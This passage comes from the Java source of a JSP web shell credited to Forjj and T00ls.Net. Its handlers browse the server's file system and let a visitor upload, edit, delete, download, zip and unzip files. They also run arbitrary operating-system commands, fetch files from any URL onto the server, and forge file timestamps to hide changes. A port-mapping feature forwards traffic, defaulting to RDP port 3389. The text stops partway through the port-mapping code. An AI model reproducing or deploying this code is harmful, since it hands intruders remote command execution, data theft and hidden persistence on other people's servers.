"<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" type=\"submit\" /></div>"+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir()\">Web Root</a>"+
" | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir()\">Shell Directory</a>"+
" | <a href=\"javascript:new fso({}).mkdir()\">New Directory</a> | <a href=\"javascript:new fso({}).createFile()\">New File</a>"+
" | ");
File[] roots = file.listRoots();
for (int i = 0;i<roots.length;i++) {
File r = roots[i];
out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir();\">Disk("+Util.convertPath(r.getPath())+")</a>");
if (i != roots.length -1) {
out.println("|");
}
}
out.println("</td>"+
"</tr></form>"+
"<tr class=\"head\"><td>&nbsp;</td>"+
"  <td>Name</td>"+
"  <td width=\"16%\">Last Modified</td>"+
"  <td width=\"10%\">Size</td>"+
"  <td width=\"20%\">Read/Write/Execute</td>"+
"  <td width=\"22%\">&nbsp;</td>"+
"</tr>");
if (file.getParent() != null) {
out.println("<tr class=alt1>"+
"<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
"<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
"</tr>");
}
int dircount = 0;
int filecount = 0;
for (File f:list) {
if (f.isDirectory()) {
dircount ++;
out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
"<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
"<td nowrap>--</td>"+
"<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+"</td>"+
"<td nowrap><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a></td>"+
"</tr>");
} else {
filecount++;
out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
"<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
"<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
"<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
"<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
"<td nowrap>"+
""+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+"</td>"+
"<td nowrap>"+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a> | "+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
"<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a>");
if (f.getName().endsWith(".zip")) {
out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
} else if (f.getName().endsWith(".rar")) {
out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
} else {
out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
}
out.println("</td>"+
"</tr>");
}
}
out.println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>"+
"  <td><a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a></td>"+
"  <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
"</table>");
out.println("</div>");
} catch (Exception e) {
e.printStackTrace();
throw e;
}
}
}
private static class LogoutInvoker extends DefaultInvoker {
public boolean doBefore() {return false;}
public boolean doAfter() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
Object dbo = JSession.getAttribute(DBO);
if (dbo != null)
((DBOperator)dbo).close();
Object obj = JSession.getAttribute(PORT_MAP);
if (obj != null) {
ServerSocket s = (ServerSocket)obj;
s.close();
}
Object online = JSession.getAttribute(SHELL_ONLINE);
if (online != null)
((OnLineProcess)online).stop();
JSession.invalidate();
response.sendRedirect(SHELL_NAME+"?o=vLogin");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class UploadInvoker extends DefaultInvoker {
public boolean doBefore() {return false;}
public boolean doAfter() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
UploadBean fileBean = new UploadBean();
response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
fileBean.parseRequest(request);
JSession.setAttribute(MSG,"Upload File Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class CopyInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String src = request.getParameter("src");
String to = request.getParameter("to");
BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src)));
BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
byte[] d = new byte[1024];
int len = input.read(d);
while(len != -1) {
output.write(d,0,len);
len = input.read(d);
}
output.close();
input.close();
JSession.setAttribute(MSG,"Copy File Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class BottomInvoker extends DefaultInvoker {
public boolean doBefore() {return false;}
public boolean doAfter() {return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2009 <a href=\"http://www.forjj.com\" target=\"_blank\">http://www.Forjj.com/</a>&nbsp;&nbsp;<a target=\"_blank\" href=\"http://www.t00ls.net/\">[T00ls.Net]</a> All Rights Reserved."+
"</div>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VCreateFileInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String path = request.getParameter("filepath");
File f = new File(path);
if (!f.isAbsolute()) {
String oldPath = path;
path = JSession.getAttribute(CURRENT_DIR).toString();
if (!path.endsWith("/"))
path+="/";
path+=oldPath;
f = new File(path);
f.createNewFile();
} else {
f.createNewFile();
}
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Create / Edit File &raquo;</h2>"+
"<input type='hidden' name='o' value='createFile'>"+
"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\"  /></p>"+
"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
"<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\"  type=\"button\" value=\"Back\" οnclick=\"history.back()\"></p>"+
"</form>"+
"</td></tr></table>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VEditInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String path = request.getParameter("filepath");
File f = new File(path);
if (f.exists()) {
BufferedReader reader = new BufferedReader(new FileReader(f));
StringBuilder content = new StringBuilder();
String s = reader.readLine();
while (s != null) {
content.append(s+"\r\n");
s = reader.readLine();
}
reader.close();
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Create / Edit File &raquo;</h2>"+
"<input type='hidden' name='o' value='createFile'>"+
"<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\"  /></p>"+
"<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
"<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\"  type=\"button\" value=\"Back\" οnclick=\"history.back()\"></p>"+
"</form>"+
"</td></tr></table>");
}
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class CreateFileInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String path = request.getParameter("filepath");
String content = request.getParameter("filecontent");
BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path)));
outs.write(content,0,content.length());
outs.close();
JSession.setAttribute(MSG,"Save File Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class VEditPropertyInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String filepath = request.getParameter("filepath");
File f = new File(filepath);
if (!f.exists())
return;
String read = f.canRead() ? "checked=\"checked\"" : "";
String write = f.canWrite() ? "checked=\"checked\"" : "";
String execute = f.canExecute() ? "checked=\"checked\"" : "";
Calendar cal = Calendar.getInstance();
cal.setTimeInMillis(f.lastModified());
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Set File Property &raquo;</h2>"+
"<p>Current file (fullpath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\"  /></p>"+
"<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
"<p>Read: "+
"  <input type=\"checkbox\" "+read+" name=\"read\" id=\"checkbox\"> "+
"  Write: "+
"  <input type=\"checkbox\" "+write+" name=\"write\" id=\"checkbox2\"> "+
"  Execute: "+
"  <input type=\"checkbox\" "+execute+" name=\"execute\" id=\"checkbox3\">"+
"</p>"+
"<p>Instead &raquo;"+
"year:"+
"<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\"  />"+
"month:"+
"<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\"  />"+
"day:"+
"<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\"  />"+
""+
"hour:"+
"<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\"  />"+
"minute:"+
"<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\"  />"+
"second:"+
"<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\"  />"+
"</p>"+
"<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" οnclick=\"history.back()\"></p>"+
"</form>"+
"</td></tr></table>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class EditPropertyInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String f = request.getParameter("file");
File file = new File(f);
if (!file.exists())
return;
String read = request.getParameter("read");
String write = request.getParameter("write");
String execute = request.getParameter("execute");
String year = request.getParameter("year");
String month = request.getParameter("month");
String date = request.getParameter("date");
String hour = request.getParameter("hour");
String minute = request.getParameter("minute");
String second = request.getParameter("second");
if (Util.isEmpty(read)) {
file.setReadable(false);
} else {
file.setReadable(true);
}
if (Util.isEmpty(write)) {
file.setWritable(false);
} else {
file.setWritable(true);
}
if (Util.isEmpty(execute)) {
file.setExecutable(false);
} else {
file.setExecutable(true);
}
Calendar cal = Calendar.getInstance();
cal.set(Calendar.YEAR,Integer.parseInt(year));
cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
cal.set(Calendar.DATE,Integer.parseInt(date));
cal.set(Calendar.HOUR,Integer.parseInt(hour));
cal.set(Calendar.MINUTE,Integer.parseInt(minute));
cal.set(Calendar.SECOND,Integer.parseInt(second));
if(file.setLastModified(cal.getTimeInMillis())){
JSession.setAttribute(MSG,"Reset File Property Success!");
} else {
JSession.setAttribute(MSG,"Reset File Property Failed!");
}
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
//VShell
private static class VsInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String cmd = request.getParameter("command");
String program = request.getParameter("program");
if (cmd == null) cmd = "cmd.exe /c set";
if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
if (JSession.getAttribute(MSG)!=null) {
Util.outMsg(out,JSession.getAttribute(MSG).toString());
JSession.removeAttribute(MSG);
}
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Execute Program &raquo;</h2>"+
"<p>"+
"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
"<input type=\"hidden\" name=\"type\" value=\"program\">"+
"Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\"  />"+
"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"+
"</p>"+
"</form>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Execute Shell &raquo;</h2>"+
"<p>"+
"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
"<input type=\"hidden\" name=\"type\" value=\"command\">"+
"Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\"  />"+
"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"+
"</p>"+
"</form>"+
"</td>"+
"</tr></table>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class ShellInvoker extends DefaultInvoker{
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String type = request.getParameter("type");
if (type.equals("command")) {
ins.get("vs").invoke(request,response,JSession);
out.println("<div style='margin:10px'><hr/>");
out.println("<pre>");
String command = request.getParameter("command");
if (!Util.isEmpty(command)) {
Process pro = Runtime.getRuntime().exec(command);
BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String s = reader.readLine();
while (s != null) {
out.println(Util.htmlEncode(Util.getStr(s)));
s = reader.readLine();
}
reader.close();
out.println("</pre></div>");
}
} else {
String program = request.getParameter("program");
if (!Util.isEmpty(program)) {
Process pro = Runtime.getRuntime().exec(program);
JSession.setAttribute(MSG,"Program Has Run Success!");
ins.get("vs").invoke(request,response,JSession);
}
}
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class DownInvoker extends DefaultInvoker{
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String path  = request.getParameter("path");
if (Util.isEmpty(path))
return;
File f = new File(path);
if (!f.exists())
return;
response.setHeader("Content-Disposition","p_w_upload;filename="+URLEncoder.encode(f.getName(),PAGE_CHARSET));
BufferedInputStream input = new BufferedInputStream(new FileInputStream(f));
BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
byte[] data = new byte[1024];
int len = input.read(data);
while (len != -1) {
output.write(data,0,len);
len = input.read(data);
}
input.close();
output.close();
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
//VDown
private static class VdInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String savepath = request.getParameter("savepath");
String url = request.getParameter("url");
if (Util.isEmpty(url))
url = "http://www.forjj.com/";
if (Util.isEmpty(savepath)) {
savepath = JSession.getAttribute(CURRENT_DIR).toString();
}
if (!Util.isEmpty(JSession.getAttribute("done"))) {
Util.outMsg(out,"Download Remote File Success!");
JSession.removeAttribute("done");
}
out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
"<h2>Remote File DownLoad &raquo;</h2>"+
"<p>"+
"<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
"Remote File URL:"+
"  <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"70\"  />"+
"Save Path:"+
"<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"70\"  />"+
"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\"  />"+
"</p>"+
"</form></table>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class DownRemoteInvoker extends DefaultInvoker {
public boolean doBefore(){return true;}
public boolean doAfter(){return true;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String downFileUrl = request.getParameter("url");
String savePath = request.getParameter("savepath");
if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
return;
URL downUrl = new URL(downFileUrl);
URLConnection conn = downUrl.openConnection();
BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(new File(savePath)));
byte[] data = new byte[1024];
int len = in.read(data);
while (len != -1) {
out.write(data,0,len);
len = in.read(data);
}
in.close();
out.close();
JSession.setAttribute("done","d");
ins.get("vd").invoke(request,response,JSession);
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class IndexInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
ins.get("filelist").invoke(request,response,JSession);
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class MkDirInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String name = request.getParameter("name");
File f = new File(name);
if (!f.isAbsolute()) {
String path = JSession.getAttribute(CURRENT_DIR).toString();
if (!path.endsWith("/"))
path += "/";
path += name;
f = new File(path);
}
f.mkdirs();
JSession.setAttribute(MSG,"Make Directory Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class MoveInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String src = request.getParameter("src");
String target  = request.getParameter("to");
if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
File file = new File(src);
if(file.renameTo(new File(target))) {
JSession.setAttribute(MSG,"Move File Success!");
} else {
String msg = "Move File Failed!";
if (file.isDirectory()) {
msg += "The Move Will Failed When The Directory Is Not Empty.";
}
JSession.setAttribute(MSG,msg);
}
response.sendRedirect(SHELL_NAME+"?o=index");
}
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class RemoteDirInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String dir = request.getParameter("dir");
File file = new File(dir);
if (file.exists()) {
deleteFile(file);
deleteDir(file);
}
JSession.setAttribute(MSG,"Remove Directory Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
public void deleteFile(File f) {
if (f.isFile()) {
f.delete();
}else {
File[] list = f.listFiles();
for (File ff:list) {
deleteFile(ff);
}
}
}
public void deleteDir(File f) {
File[] list = f.listFiles();
if (list.length == 0) {
f.delete();
} else {
for (File ff:list) {
deleteDir(ff);
}
deleteDir(f);
}
}
}
private static class PackBatchInvoker extends DefaultInvoker{
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String files = request.getParameter("files");
if (Util.isEmpty(files))
return;
String saveFileName = request.getParameter("savefilename");
File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
if (saveF.exists()) {
JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
response.sendRedirect(SHELL_NAME+"?o=index");
return;
}
ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
String[] arr = files.split(",");
for (String f:arr) {
File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
ZipEntry entry = new ZipEntry(pF.getName());
zout.putNextEntry(entry);
FileInputStream fInput = new FileInputStream(pF);
int len = 0;
byte[] buf = new byte[1024];
while ((len = fInput.read(buf)) != -1) {
zout.write(buf, 0, len);
zout.flush();
}
fInput.close();
}
zout.close();
JSession.setAttribute(MSG,"Pack Files Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e;
}
}
}
private static class PackInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String packedFile = request.getParameter("packedfile");
if (Util.isEmpty(packedFile))
return;
String saveFileName = request.getParameter("savefilename");
File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
if (saveF.exists()) {
JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
response.sendRedirect(SHELL_NAME+"?o=index");
return;
}
File pF = new File(packedFile);
ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
String base = "";
if (pF.isDirectory()) {
zipDir(pF,base,zout);
} else {
zipFile(pF,base,zout);
}
zout.close();
JSession.setAttribute(MSG,"Pack File Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e;
}
}
public void zipDir(File f,String base,ZipOutputStream zout)  throws Exception {
if (f.isDirectory()) {
File[] arr = f.listFiles();
for (File ff:arr) {
String tmpBase = base;
if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
tmpBase += "/";
zipDir(ff,tmpBase+f.getName(),zout);
}
} else {
String tmpBase = base;
if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
tmpBase += "/";
zipFile(f,tmpBase,zout);
}
}
public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
ZipEntry entry = new ZipEntry(base+f.getName());
zout.putNextEntry(entry);
FileInputStream fInput = new FileInputStream(f);
int len = 0;
byte[] buf = new byte[1024];
while ((len = fInput.read(buf)) != -1) {
zout.write(buf, 0, len);
zout.flush();
}
fInput.close();
}
}
private static class UnPackInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
String savepath = request.getParameter("savepath");
String zipfile = request.getParameter("zipfile");
if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
return;
File save = new File(savepath);
save.mkdirs();
ZipFile file = new ZipFile(new File(zipfile));
Enumeration e = file.entries();
while (e.hasMoreElements()) {
ZipEntry en = (ZipEntry) e.nextElement();
String entryPath = en.getName();
int index = entryPath.lastIndexOf("/");
if (index != -1)
entryPath = entryPath.substring(0,index);
File absEntryFile = new File(save,entryPath);
if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1))
absEntryFile.mkdirs();
BufferedOutputStream output = null;
BufferedInputStream input = null;
try {
output = new BufferedOutputStream(
new FileOutputStream(new File(save,en.getName())));
input = new BufferedInputStream(
file.getInputStream(en));
byte[] b = new byte[1024];
int len = input.read(b);
while (len != -1) {
output.write(b, 0, len);
len = input.read(b);
}
} catch (Exception ex) {
} finally {
try {
if (output != null)
output.close();
if (input != null)
input.close();
} catch (Exception ex1) {
}
}
}
file.close();
JSession.setAttribute(MSG,"Unzip File Success!");
response.sendRedirect(SHELL_NAME+"?o=index");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
//VMapPort
private static class VmpInvoker extends DefaultInvoker {
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
Object localIP = JSession.getAttribute("localIP");
Object localPort = JSession.getAttribute("localPort");
Object remoteIP = JSession.getAttribute("remoteIP");
Object remotePort = JSession.getAttribute("remotePort");
Object done = JSession.getAttribute("done");
JSession.removeAttribute("localIP");
JSession.removeAttribute("localPort");
JSession.removeAttribute("remoteIP");
JSession.removeAttribute("remotePort");
JSession.removeAttribute("done");
if (Util.isEmpty(localIP))
localIP = InetAddress.getLocalHost().getHostAddress();
if (Util.isEmpty(localPort))
localPort = "3389";
if (Util.isEmpty(remoteIP))
remoteIP = "www.forjj.com";
if (Util.isEmpty(remotePort))
remotePort = "80";
if (!Util.isEmpty(done))
Util.outMsg(out,done.toString());
out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
"<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
"  <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
"  <tr>"+
"    <td><h2 id=\"Bin_H2_Title\">PortMap &gt;&gt;</h2>"+
"      <div id=\"hOWTm\">"+
"      <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
"      <tr align=\"center\">"+
"        <td style=\"width:5%\"></td>"+
"        <td style=\"width:20%\" align=\"left\">Local Ip :"+
"          <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
"          </td>"+
"        <td style=\"width:20%\" align=\"left\">Local Port :"+
"          <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
"        <td style=\"width:20%\" align=\"left\">Remote Ip :"+
"          <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
"        <td style=\"width:20%\" align=\"left\">Remote Port :"+
"          <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
"      </tr>"+
"      <tr align=\"center\">"+
"        <td colspan=\"5\"><br/>"+
"          <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
"   <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
"    </td>"+
"    </tr>"+
" </table>"+
"    </div>"+
"</td>"+
"</tr>"+
"</table>"+
"</form>");
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
//StopMapPort
private static class SmpInvoker extends DefaultInvoker {
public boolean doAfter(){return true;}
public boolean doBefore(){return true;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
Object obj = JSession.getAttribute(PORT_MAP);
if (obj != null) {
ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
server.close();
}
JSession.setAttribute("done","Stop Success!");
ins.get("vmp").invoke(request,response,JSession);
} catch (Exception e) {
e.printStackTrace();
throw e ;
}
}
}
private static class MapPortInvoker extends DefaultInvoker {
public boolean doBefore(){return false;}
public boolean doAfter(){return false;}
public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
try {
PrintWriter out = response.getWriter();
String localIP = request.getParameter("localIP");
String localPort = request.getParameter("localPort");
